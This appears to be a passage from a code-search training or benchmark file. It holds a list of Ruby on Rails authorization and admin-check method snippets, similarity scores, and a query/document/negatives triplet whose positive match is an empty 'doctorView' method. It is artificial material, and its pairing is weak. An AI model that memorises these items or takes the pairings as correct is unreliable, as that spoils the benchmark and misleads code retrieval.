"def admin?\n return !new_record? && login == 'admin'\n end",
"def create_access_check\n permission_check('create')\n end",
"def create_access_check\n permission_check('create')\n end",
"def create_access_check\n permission_check('create')\n end",
"def can_create_opinion_from_admin?\n toggle_allow(admin_creation_is_enabled?) if permission_action.subject == :opinion\n end",
"def auth_create_filter\n if not self.class.allowed_to_create\n false\n else\n true\n end\n end",
"def admin_only\n deny_access(\"Necesitas tener privilegios de administrador para entrar.\") unless signed_in_as_admin?\n end",
"def create?\r\n admin? or streamer?\r\n end",
"def admin_logic\n end",
"def admin?() false end",
"def isAdmin\n \n end",
"def create?\n user.present? && user.admin?\n end",
"def admin\n end",
"def admin\n end",
"def admin\n end",
"def admin\n end",
"def admin?\n false\n end",
"def admin\n\n end",
"def create?\n user.role == \"Envio\" || user.role == \"Cadastro\" || user.admin?\n end",
"def new?\n super && !user.admin? && not_a_visitor && !user_has_other_application?\n end",
"def check_if_should_be_admin\n end",
"def create?\n #everyone who is loggedin can do this action\n true\n end",
"def put_can_create?\n false\n end",
"def create\n @admin = Admin.new(params[:admin])\n mass_assign_protected_attributes\n @admin.created_by = current_admin.email\n respond_to do |format|\n if @admin.save\n format.html { redirect_to(admin_admins_url, :notice => 'Admin was successfully created.') }\n format.xml { render :xml => @admin, :status => :created, :location => @admin }\n else\n build_permissions\n format.html { render :action => \"new\" }\n format.xml { render :xml => @admin.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n # Creating a new with strong params\n @new = New.new(new_params)\n # Assinging that new to a specific user\n @new.user = User.first\n\n # Authorizing that only admin users can create a new\n authorize @new\n\n # If new is created and saved\n if @new.save\n # Show the specific new just created\n render :show, status: :created\n else\n # Show an error on the creation of the new\n render_error\n end\n end",
"def require_admin\n end",
"def manage?\n admin?\n end",
"def admin!\n metadata['admin'] = true\n save\n end",
"def new?\n @user&.admin?\n end",
"def can_create?\n allows_current_user_access_to? :create\n end",
"def make_admin\n\t\tself.usertype = \"admin\"\n\t\tself.save\n\tend",
"def is_admin?\n admin\n end",
"def is_admin?\n admin\n end",
"def admin_user\n\t\tredirect_to(root_url) unless current_user.admin? #NB il metodo \"admin?\" è stato aggiunto direttamente da Rails quando alla creazione ha visto che admin è un booleano\n\tend",
"def give_admin!\n self.admin = true\n save\n puts \"Felicitation vous etes admin!\"\n true\n end",
"def admin?; current_user.admin?; end",
"def admin?; current_user.admin?; end",
"def can_edit_admin?\n return false unless is_admin? && !is_last_admin?\n true\n end",
"def thesis_admin\n processor\n\n can :manage, :all\n cannot 'destroy', :copyright\n cannot 'destroy', :degree\n cannot 'destroy', :department\n cannot 'destroy', :hold_source\n cannot 'destroy', :license\n cannot 'destroy', :thesis\n end",
"def create?\n @current_user.permission('Bid', :clerk)\n end",
"def allow_new_records?\n self.permissions['new']\n end",
"def editable?\n admin?\n end",
"def admin\n can :manage, :all\n end",
"def admin_access?\n admin?\n end",
"def created_or_admin(obj)\n if session[:person].id.to_i == obj.creator_id.to_i || session[:person].is_admin\n true\n else\n false\n end\n end",
"def admin_user\n if !current_user.admin\n flash[:danger] = 'Please note that only administrators can create categories'\n end\n\n end",
"def is_admin\n admin?\n end",
"def permitted?; end",
"def admin\n self.is_admin_for?\n end",
"def creation_allowed_only?\n creation_allowed? && !(\n programme_administrator_logged_in? ||\n Programme.site_managed_programme.present?\n )\n end",
"def show\n authorize! :create, Administrator\n end",
"def create?\n # false # no access\n user.present? # minimum requirement for creating records \n # like posts or comments is that a user exist and be logged in. \n end",
"def patch_can_create?\n false\n end",
"def show\n is_admin?\n end",
"def show\n isadmin\n end",
"def make_admin\n self.update_attributes(:admin => true)\n end",
"def admin?\n admin\n end",
"def can_add? record\n return true if current_user.admin?\n case record.class.to_s\n when 'TypusUser'\n false\n else\n true\n end\n end",
"def require_admin_permission\n redirect_to tables_path, notice: 'Necesita permisos de administrador para visualizar la configuracion' unless current_user_admin?\n end",
"def show\n admin_only\n end",
"def show\n admin_only\n end",
"def show\n admin_only\n end",
"def create?\n record.resourceable.owner == user || user.is?(:admin)\n end",
"def admin_only\n if !Volt.current_user.admin\n redirect_to '/login'\n end\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def admin_user\n unless @is_admin\n flash[:danger] = \"Must be admin to modify recipes\"\n redirect_to(recipes_url) \n end\n end",
"def show\n is_admin?\n end",
"def write_permitted?\n return acting_user.administrator?\n end",
"def admin\n redirect_to shelters_path, notice: 'Woah there! Only admins can create shelters.' unless current_user.admin\n end",
"def is_admin\n test_access :admin\n end",
"def is_admin?\n admin?\n end",
"def new\n unless user_signed_in? && current_user && current_user.is_admin?\n render status: 403, html: 'You must be signed-in as an admin to add a post.'\n end\n end",
"def creatable_by?(user)\n user.administrator?\n end",
"def admin_only\n unless current_user.admin?\n redirect_to :back, :alert => \"Access denied.\"\n end\n end",
"def administrator\n can :manage, :all\n end",
"def show\n\t\trequire_admin!\n\tend",
"def create?\n @user&.admin?\n end",
"def self_edit_only\n #if current_user.id != Integer(params[:id]) && !current_user.is_admin\n if !can_edit\n redirect_to user_url, :notice => \"You don't have permission to do that.\"\n else\n end\n end",
"def admin_user\n unless current_user && current_user.admin?\n redirect_to login_url, notice: \"admin can only do this action.\" \n end\n end",
"def update_permitted?\n\t\tacting_user.administrator?\n\tend",
"def new\n return appctrl_not_permitted() unless @current_user.admin?\n @record = @user = User.new\n end",
"def authorize_as_admin\n create_admin_user\n login_into_alchemy\n end"
] | [
"0.7523823",
"0.7339545",
"0.72762287",
"0.72588664",
"0.7222626",
"0.7183943",
"0.7161643",
"0.7131063",
"0.7120569",
"0.70905083",
"0.7045237",
"0.7045237",
"0.7045237",
"0.7045237",
"0.70156217",
"0.698366",
"0.6980158",
"0.6941494",
"0.69409287",
"0.69409287",
"0.69409287",
"0.69362664",
"0.6925967",
"0.69065386",
"0.6892487",
"0.6887256",
"0.6886581",
"0.6881565",
"0.686856",
"0.6867258",
"0.6867258",
"0.6867258",
"0.6867258",
"0.68648595",
"0.68605894",
"0.6858521",
"0.6837455",
"0.6835469",
"0.6820617",
"0.6818264",
"0.6813299",
"0.6808818",
"0.6796385",
"0.67523164",
"0.67471725",
"0.67420936",
"0.67375696",
"0.6706251",
"0.66885114",
"0.66885114",
"0.66775787",
"0.66699195",
"0.66674864",
"0.66674864",
"0.6662929",
"0.66580105",
"0.66496533",
"0.664334",
"0.66410303",
"0.6639094",
"0.66276115",
"0.66195625",
"0.6614326",
"0.6610472",
"0.66081524",
"0.6602415",
"0.66006684",
"0.6596642",
"0.6588568",
"0.6587508",
"0.6584684",
"0.658419",
"0.65836257",
"0.6575542",
"0.6566696",
"0.65637594",
"0.65471226",
"0.65471226",
"0.65471226",
"0.65343386",
"0.6530174",
"0.65261716",
"0.65261716",
"0.65261716",
"0.65189016",
"0.65174896",
"0.65161353",
"0.65160435",
"0.65130436",
"0.6511358",
"0.650503",
"0.6496091",
"0.64915544",
"0.6491389",
"0.6490343",
"0.64892364",
"0.64793324",
"0.64789444",
"0.6478817",
"0.64785564",
"0.64778084"
] | 0.0 | -1 |
create my 4 custom actions here for each role | def doctorView
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def custom_permissions\n alias_action :show, :manifest, to: :read\n alias_action :color_pdf, :pdf, :edit, :browse_everything_files, :structure, :file_manager, to: :modify\n roles.each do |role|\n send \"#{role}_permissions\" if current_user.send \"#{role}?\"\n end\n end",
"def custom_permissions\n alias_action :show, :manifest, to: :read\n alias_action :color_pdf, :pdf, :edit, :browse_everything_files, :structure, :file_manager, to: :modify\n roles.each do |role|\n send \"#{role}_permissions\" if current_user.send \"#{role}?\"\n end\n end",
"def define_actions_from_routes\n (effective_resource.member_actions - effective_resource.crud_actions).each do |action|\n define_method(action) { member_action(action) }\n end\n\n (effective_resource.collection_actions - effective_resource.crud_actions).each do |action|\n define_method(action) { collection_action(action) }\n end\n end",
"def set_actions\n @actions = []\n\n unless params[:show_actions] == 'false' || @node.blank?\n role = current_user.role_on(@node)\n\n if role && @node.content_type_configuration[:allowed_roles_for_update].include?(role.name)\n @actions << { url: { action: :edit }, text: I18n.t('admin.edit'), method: :get }\n end\n end\n end",
"def setup_role\n #get_statuses(@role)\n #set_default_status(@role)\n end",
"def action_allowed?\n ['Instructor',\n 'Teaching Assistant',\n 'Administrator'].include? current_role_name\n end",
"def action_allowed?\n ['Instructor',\n 'Teaching Assistant',\n 'Administrator'].include? current_role_name\n end",
"def action_allowed?\n ['Instructor',\n 'Teaching Assistant',\n 'Administrator'].include? current_role_name\n end",
"def handle_action(username, actiontype)\n \n end",
"def add_actions; end",
"def actions; end",
"def authorized_for_roles(*args)\n # From: http://stackoverflow.com/a/6076035/999973\n # args.any? { |role_name| ROLES.include? role_name }\n # ROLES = %w[admin moderator editor author banned] in user model\n # calling it:\n # before_filter(only: [:edit, :update, :destroy]) {|c| c.authorized_for_roles \"admin\", \"editor\"}\n \n # args.any? { |role_name| current_user.role == role_name }\n \n\n unless signed_in?\n self.current_user = User.create( name: \"Guest\" )\n redirect_to(root_path) unless args.any? { |role_name| current_user.role == role_name }\n self.current_user = nil\n return\n end\n\n redirect_to(root_path) unless args.any? { |role_name| current_user.role == role_name }\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def admin_actions(user)\n can_act_as_logged_in_user(user)\n can_view_any_profile\n can_view_any_gallery\n can_edit_saved_queries\n can_curate\n can_update_metadata\n can_administer\n end",
"def role; end",
"def role; end",
"def create\n @company = Company.find(params[:company_id])\n @role = Role.find(params[:role_id])\n access_right_hash = params[:access_right]\n \n if current_user.super_admin\n is_ok = true\n else\n current_user.roles.each { |r|\n r.access_rights.each { |ar|\n puts access_right_hash['model_name']\n if ar.model_name == access_right_hash['model_name'] && ar.action == access_right_hash['action']\n is_ok = true\n end\n }\n }\n end\n \n respond_to do |format|\n if is_ok\n @access_right = @role.access_rights.create(params[:access_right])\n @access_right.company_id = current_user.company_id\n @access_right.save\n format.html { redirect_to company_role_path(@company, @role) }\n else\n format.html { redirect_to company_role_path(@company, @role), notice: 'Usted no puede conceder este permiso.' }\n end\n end\n end",
"def action_allowed?\n ['Instructor', 'Teaching Assistant', 'Administrator'].include? current_role_name\n end",
"def defined_actions\n\n controller.instance_methods.map(&:to_sym) & ResourceController::ACTIVE_ADMIN_ACTIONS\n\n end",
"def role_actions?(group_id, role_types)\n puts group_id\n puts role_types\n roles = URole.where(['group_id = ? and uid = ? and role_type = ? and is_revoked = ?', group_id, id, role_types, 0])\n success = true\n success = false if roles.blank?\n success\n end",
"def register_custom_actions\n session[:custom_actions] ||= []\n session[:custom_actions] << params[:cact] unless params[:cact].blank? || session[:custom_actions].include?(params[:cact])\n CustomActionHelper.process_custom_actions(current_user, session[:custom_actions])\n end",
"def camaleon_spree_user_roles_hook(args)\n args[:roles_list][:manager] << { key: 'spree_role', label: t('plugins.spree_cama.admin.roles.label', default: 'Spree Ecommerce'), description: t('plugins.spree_cama.admin.roles.descr', default: 'Manage all sections of Spree Ecommerce')}\n end",
"def create\n abilities = []\n client_application = current_user.client_application_id.to_s\n @abilities = Role.get_method_names.sort\n @role = Role.new(role_params)\n params[:role][:role_abilities].each do |ability|\n abilities << ability.to_sym\n end\n @role.role_abilities = [{\"action\"=> abilities, \"subject\"=>[:api]}]\n @role.client_application_id = client_application\n respond_to do |format|\n if @role.save\n format.html { redirect_to roles_path, notice: 'Role was successfully created.' }\n format.json { render :index, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n if current_user.nil?\n show_empty\n elsif current_user.role.id == 1\n show_analist\n elsif current_user.role.id == 2\n show_qa_analist\n elsif current_user.role.id == 3\n show_planner\n elsif current_user.role.id == 5\n show_admin\n else\n show_empty\n end\n end",
"def handle_admin_role_ids(role)\n current_members = send(role.to_s.pluralize)\n new_members = Person.find(send(\"#{role}_ids\"))\n\n to_add = new_members - current_members\n to_remove = current_members - new_members\n to_add.each do |person|\n person.send(\"is_#{role}=\", [true, self])\n disable_authorization_checks { person.save! }\n end\n to_remove.each do |person|\n person.send(\"is_#{role}=\", [false, self])\n disable_authorization_checks { person.save! }\n end\n end",
"def handle_admin_role_ids(role)\n current_members = send(role.to_s.pluralize)\n new_members = Person.find(send(\"#{role}_ids\"))\n\n to_add = new_members - current_members\n to_remove = current_members - new_members\n to_add.each do |person|\n person.send(\"is_#{role}=\", [true, self])\n disable_authorization_checks { person.save! }\n end\n to_remove.each do |person|\n person.send(\"is_#{role}=\", [false, self])\n disable_authorization_checks { person.save! }\n end\n end",
"def switch_role(student_action, tutor_action)\n case @prop[:role]\n when \"student\"\n student_action\n when \"Tutor\"\n tutor_action\n else\n puts 'You have selected an invalid option'\n end \n end",
"def action_allowed?\n case params[:action]\n when 'show', 'set_priority', 'index'\n ['Instructor',\n 'Teaching Assistant',\n 'Administrator',\n 'Super-Administrator',\n 'Student'].include?(current_role_name) &&\n ((%w[list].include? action_name) ? are_needed_authorizations_present?(params[:id], 'participant', 'reader', 'submitter', 'reviewer') : true)\n else\n ['Instructor',\n 'Teaching Assistant',\n 'Administrator',\n 'Super-Administrator'].include? current_role_name\n end\n end",
"def set_actions\n actions :all\n end",
"def check_roles\n if current_user.roles.include?(Role['owner'])\n return true\n elsif request.format.symbol == :json && params[:action] == 'index'\n return true\n end\n\n redirect_to root_path\n end",
"def eval_cancan_action(accion)\n case accion.to_s\n when \"index\"\n nombre = 'list'\n cancan_action = \"index\" #let the cancan action be the actual method name\n action_desc = I18n.t :list\n when \"new\", \"create\"\n nombre = 'create and update'\n cancan_action = \"create\"\n action_desc = I18n.t :create\n when \"show\"\n nombre = 'view'\n cancan_action = \"view\"\n action_desc = I18n.t :view\n when \"edit\", \"update\"\n nombre = 'create and update'\n cancan_action = \"update\"\n action_desc = I18n.t :update\n when \"delete\", \"destroy\"\n nombre = 'delete'\n cancan_action = \"destroy\"\n action_desc = I18n.t :destroy\n else\n #Convencion de nombre de metodos publicos del sistema\n # wf = Web Function\n if accion =~ /^wf_/i\n nombre = accion.to_s\n cancan_action = accion.to_s\n action_desc = \"Other: \" < cancan_action\n end\n end\n return nombre, cancan_action\nend",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\nif current_user.admin?\n\t can [:create, :show, :add_user, :remove_user, :index], Role\n\t end\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n\n\n end",
"def update_roles\r\n self.roles.create(:title => \"admin\")\r\n if self.name.eql? \"Grandor Eldoran\"\r\n self.roles.create(:title => \"admin\")\r\n elsif self.name.eql? \"Test2 Test2\"\r\n self.roles.create(:title => \"member\")\r\n end\r\n end",
"def setup_role \n if self.role_ids.empty? \n self.role_ids = [Role.find_by_name(\"User\").id] \n end\n end",
"def pixel_admin(role)\n can :manage, Issue\n can :manage, Content\n can :manage, Section\n can :manage, Publisher\n can :manage, Publication\n can :manage, Proceeding\n can :manage, Sale\n can :update, AdminUser, :id => @user.id\n\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n end\n\n# if current_user.contentadmin?\n# can [:create, :destroy], GwWork\n# can [:create, :destroy], GwEtd\n# end\n end",
"def meta_abilities\n User.roles.each do |(k, v)|\n if user.has_role? k\n can \"do_#{k}\".to_sym, :all\n end\n end\n end",
"def before_authorization(action, role, resource_config)\n raise NotImplementedError\n end",
"def add_workflow_responsibilities(role, agents)\n Hyrax::Workflow::PermissionGenerator.call(roles: role,\n workflow: self,\n agents: agents)\n end",
"def check_user_role \t \n redirect_to root_path unless current_user.roles.first.name == \"empleado\" or current_user.roles.first.name == \"supervisor\"or current_user.roles.first.name == \"admin\" \n end",
"def authority_actions(action_map)\n forced_action = action_map.delete(:all_actions)\n add_actions(action_map)\n force_action(forced_action) if forced_action\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n if current_user.admin?\n # Role management\n # don't allow :destroy, :edit, :create\n # - destroy adds a 'delete' button that\n # - could be clicked accidentally\n # - would be very infrequently used (if ever)\n # - implications of edit are unclear for associated actions\n # - create is meaningless without associating actions which happens in code.\n can [:read, :add_user, :remove_user], Role\n end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def accept_role role\n self.roles.push role\n end",
"def index\n authorize Role\n @roles = Role.all\n end",
"def mod_all\n role = Role.find(params[:id])\n user = User.find(params[:role][:user_id])\n user.roles << role\n\n flash[:notice] = \"La modificacion ha sido realizada correctamente.\"\n\n redirect_to :back\n end",
"def publisher_admin(role)\n\n can :manage, Publication, :publisher_id => role.publisher_id\n can :update, Publisher, :id => role.publisher_id\n can :update, IssueState\n can :update, AdminUser, :id => @user.id\n\n\n\n end",
"def method_missing(method, *args)\n begin\n @user.custom_roles.any? { |role| role.send(method.to_sym) }\n rescue NoMethodError\n super\n end\n end",
"def actions\n response = nil\n\n lambda do |_reason, data|\n puts \"[admin] Execute block code with reason : #{reason}\"\n case_events(data.to_hash)\n end\n\n response\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role if current_user.admin?\n\n can [:fa_overview], ActiveFedora::Base\n can [:advanced], ActiveFedora::Base\n can [:streets], ActiveFedora::Base\n can [:pdf_page], ActiveFedora::Base\n can [:pdf_page_metadata], ActiveFedora::Base\n can [:bookreader], ActiveFedora::Base\n can [:imageviewer], ActiveFedora::Base\n can [:streetsviewer], ActiveFedora::Base\n can [:fa_series], ActiveFedora::Base\n can [:audio_transcriptonly], ActiveFedora::Base\n can [:video_transcriptonly], ActiveFedora::Base\n end",
"def setup_role\n \tif self.role_ids.empty?\n \t self.role_ids = [3]\n \tend\n end",
"def index\n custom_role = CustomRole.all\n if !custom_role.nil? and custom_role.size == 1\n redirect_to :action => \"show\", :id => custom_role[0].realmId\n else\n redirect_to realm_management_index_path\n end\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n # TODO: This area looks like it needs to be refactored.\n\n if current_user.admin?\n editor_abilities\n upload_abilities\n publish_abilities\n roles_abilities\n hard_delete_abilities\n import_admin_abilities\n user_abilities\n group_abilities\n can [:create, :destroy, :update], FeaturedWork\n can [:manage], Hydra::Admin::Collection\n\n can :create, TinymceAsset\n can [:create, :update], ContentBlock\n can :read, ContentBlock\n can :characterize, GenericFile\n end\n\n\n if current_user.manager?\n upload_abilities\n publish_abilities\n roles_abilities\n import_user_abilities\n can [:manage], Hydra::Admin::Collection do |admin_set|\n # Can manage admin sets within their assigned unit.\n current_user.osul_groups.include? admin_set.unit_group\n end\n can [:manage], Osul::Group do |group|\n # Can manage the groups the user is in or the groups of the units a user is assigned to.\n current_user.osul_groups.include? group or current_user.osul_groups.include? group.unit\n end\n can [:create], Osul::Group\n can [:create, :destroy, :update], FeaturedWork\n end\n\n if current_user.data_entry?\n upload_abilities\n publish_abilities\n no_admin_set_abilities\n end\n\n if current_user.data_entry_student?\n upload_abilities\n no_admin_set_abilities\n end\n\n unless current_user.public?\n can :view_full, GenericFile\n end\n\n if current_user.role.nil?\n no_file_abilities\n no_admin_set_abilities\n end\n end",
"def index\n if current_user.rol == 1\n @roles = Role.order(:id)\n @role = Role.new\n else\n @mensaje = \"Seccion solo para administrador\"\n end\n end",
"def filter_access!\n treat_as get_current_role\n end",
"def change_role(role)\n role_list.each do |old_role|\n remove_role old_role\n end\n puts role\n add_role role\n puts roles\n end",
"def setup_role \n if self.role_ids.empty? \n self.role_ids = [2] \n end\n end",
"def setup_role \n if self.role_ids.empty? \n self.role_ids = [2] \n end\n end",
"def setup_role \n if self.role_ids.empty? \n self.role_ids = [2] \n end\n end",
"def index\n return unless check_permission\n\n @roles = Role.left_joins(:user)\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n\n if user_groups.include? ['all_project_writers']\n can [:create], PulStore::Base\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end\n\n if user_groups.include? ['lae_project_writers']\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end \n\n if user_groups.include? ['all_project_writers']\n can [:destroy], PulStore::Base\n end\n\n if user_groups.include? ['lae_project_readers', 'all_project_readers' ]\n can [:show], PulStore::Base\n end\n end",
"def check_permission(event, role)\n case role\n when 'botmaster'\n {\n granted: event.user.id == BOTMASTER_ID,\n allowed: ['botmasters']\n }\n else\n names = Role.owners(role).pluck(:username)\n {\n granted: Role.exists(event.user.id, role),\n allowed: role.pluralize #names\n }\n end\nend",
"def create\n if params[:role] == \"merchant\"\n create_merchant #creating merchant in this method and sending response.\n elsif params[:role] == \"customer\"\n create_customer #creating customer in this method and sending response.\n end\n end",
"def roles_hash\n {\n admin: {\n name: 'Administrator',\n action: 'administer'\n },\n user: {\n name: 'User',\n action: 'use'\n },\n harvester: {\n name: 'Harvester',\n action: 'harvest'\n },\n guest: {\n name: 'Guest',\n action: 'use as guest'\n }\n }\n end",
"def index\n submenu_item 'role-index'\n @roles = Role.paginate_by_sql(\"select t1.role_id id,t3.role_name,t3.description from\n (select a1.role_id,count(*) permission_num from roles_permissions a1\n where a1.permission_id in (select permission_id from roles_permissions where role_id =#{@current_user.role_id})\n group by a1.role_id) t1,\n (select role_id,count(*) permission_num from roles_permissions where role_id > 1 group by role_id) t2,\n roles t3\n where t1.permission_num = t2.permission_num and t1.role_id = t2.role_id\n and t1.role_id = t3.id \",:page => params[:page], :per_page => 30)\n\n end",
"def run_actions; end",
"def initialize(user)\n if(user.nil?)\n can :read, [Category, Product,Review]\n elsif(user.role? \"admin\")\n can :manage, [Category, Product, Review, Address]\n elsif (user.role? \"customer\")\n can :read, [Product, Category, Review, Address]\n can :create ,[Address]\n can [:update, :destroy], Review do |r|\n r.user_id ==user.id\n end\n can :manage,Address do |address|\n (address.user_id==user.id)\n end \n elsif (user.role? \"moderator\")\n can [:update, :read, :destroy], [Product, Category, Review] \n end \n end",
"def default_actions\n @actions = []\n @actions << 'add_trace' if logged_in?\n @actions << 'search' if logged_in?\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n # Admin user can create works of all work types\n can :create, curation_concerns_models\n end\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def display_all_roles\n # Interface method\n end",
"def create\n submenu_item 'role_new'\n load_permissions\n ids=params[:permissions].select{|k,v| v=='1'}.map { |k,v| k.to_i } unless params[:permissions].nil?\n if ids.length > 0\n permissions=Permission.find(:all, :conditions => [\"id in (#{ids.join(',')})\"])\n params[:role][:permissions] = permissions\n @role = Role.new(params[:role])\n if @role.save\n flash[:notice] = \"创建角色成功\"\n redirect_to :action => 'index'\n else\n flash[:error] = \"创建角色失败\"\n render :action => 'new'\n end\n else\n flash[:error] = \"角色名或权限不能为空\"\n redirect_to :action => 'new'\n end\n\n end",
"def grant_access_to(roles, options = {})\n roles = [roles].flatten\n options.assert_valid_keys(:if, :unless, :only, :except)\n unless (@roles_checked ||= false)\n @roles_checked = true\n before_filter :check_roles\n end\n\n # convert any actions into symbols\n [:only, :except].each do |key|\n if options.has_key?(key)\n options[key] = [options[key]].flatten.compact.collect{ |v| v.to_sym }\n end \n end\n self.role_requirements||=[]\n self.role_requirements << { :roles => roles, :options => options }\n end",
"def role\n if current_user.has_role?(:guest)\n redirect_to \"/workouts\"\n elsif current_user.has_role?(:instructor)\n redirect_to \"/workouts\"\n end\n end",
"def check_role\n redirect_to(root_url) unless check_role?(\"News Editor\") or check_role?(\"Site Admin\")\n end",
"def check_role\n redirect_to(root_url) unless check_role?(\"News Editor\") or check_role?(\"Site Admin\")\n end",
"def create\n @role = Role.new(params[:role])\n\n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n \n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: t(:role_created) }\n format.json { render json: @role, status: :created, location: @role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def makec\n @user.add_role :celebrity\n render nothing: true\n end",
"def get_role_action(key)\n key = Access::Validate.role(key)\n get_hash_value(Access::Core.roles_hash, key, :action)\n end",
"def roles\n roles_as_editor + roles_as_reviewer + role_as_admin\n end",
"def create\n chef_server_rest.post(\"roles\", self)\n self\n end",
"def create\n @role = get_role\n flash[:notice] = t('create.success', :scope => get_i18n_scope) if @role.save and not request.xhr?\n respond_with @event, @role, :location => {:action => 'index'}\n end",
"def add_actions(action_map)\n authority_action_map.merge!(action_map)\n end",
"def allowed?(method:, by: nil, action: '')\n case by&.role_id\n when ROLE_ID[:admin]\n true\n else\n false\n end\n end",
"def admin\n #manager\n #include User,CmsRole\n can :manage, :all\n end",
"def user_action_on_resource_authorized\n end",
"def get_action (type)\n raise ArgumentError, 'type must be either :admins or :trusted.' unless TYPES.include?(type)\n case type\n when :admins then shared[:redis].smembers(\"bot.%s:admins\" % @bot.irc.isupport['NETWORK'].downcase)\n when :trusted then shared[:redis].sunion(\"bot.%s:admins\" % @bot.irc.isupport['NETWORK'].downcase, \"bot.%s:trusted\" % @bot.irc.isupport['NETWORK'].downcase)\n end\n end",
"def setup_role\n if self.role_ids.empty?\n self.role_ids = [2]\n end\n end",
"def assign_permission\n company_admin,*company_admin_all = Role.company_admin.reorder(\"id ASC\")\n functions = company_admin.try(:function_ids) \n if company_admin_all.any?\n company_admin_all.each do |c_admin|\n c_admin.function_ids = functions\n end\n end\n end",
"def should_require_role(role, *args)\n args = Hash[*args]\n redirect_url = args.delete :redirect_url\n redirect_url ||= '/login'\n args.each do |action, verb|\n should \"require role for '#{action}' action\" do\n if [:put, :delete].include?(verb) # put and delete require an id even if it is a bogus one\n send(verb, action, :id => 1)\n else\n send(verb, action)\n end\n ensure_flash(/permission/i)\n assert_redirected_to(redirect_url)\n end\n end\n end",
"def check_role!\n add_role :user if roles.blank?\n if has_role?(:admin)\n add_role :editor unless has_role?(:editor)\n add_role :user unless has_role?(:user)\n end\n end",
"def allowed_to?(action, context, options={}, &block)\n if context && context.is_a?(Project)\n # No action allowed on archived projects\n return false unless context.active?\n # No action allowed on disabled modules\n return false unless context.allows_to?(action)\n # Admin users are authorized for anything else\n return true if admin?\n # Sandro -> risolve il problema che un author non puo' vedere le edizioni\n return true if User.current.isauthor?\n return true if User.current.ismanager?\n # fine sandro\n roles = roles_for_project(context)\n return false unless roles\n roles.detect { |role|\n (context.is_public? || role.member?) &&\n role.allowed_to?(action) &&\n (block_given? ? yield(role, self) : true)\n }\n elsif context && context.is_a?(Array)\n # Authorize if user is authorized on every element of the array\n context.map do |project|\n allowed_to?(action, project, options, &block)\n end.inject do |memo, allowed|\n memo && allowed\n end\n elsif options[:global]\n # Admin users are always authorized\n return true if admin?\n\n # authorize if user has at least one role that has this permission\n roles = memberships.collect { |m| m.roles }.flatten.uniq\n roles << (self.logged? ? Role.non_member : Role.anonymous)\n roles.detect { |role|\n role.allowed_to?(action) &&\n (block_given? ? yield(role, self) : true)\n }\n else\n false\n end\n end",
"def as_nested_actions; end",
"def toggle_role\n do_toggle_role params[:role]\n end",
"def method_for_action(action_name); end",
"def create_roles\n ['admin', 'lector', 'jefe_calidad', 'jefe_bodega', 'op_bodega'].each do |role_name|\n Role.create!(name: role_name)\n end\nend",
"def make_admin\n authorize! @user\n @user.roles = @user.roles + ['admin']\n @user.save\n redirect_to @user, notice: t('user.made_admin', name: @user.username)\n end",
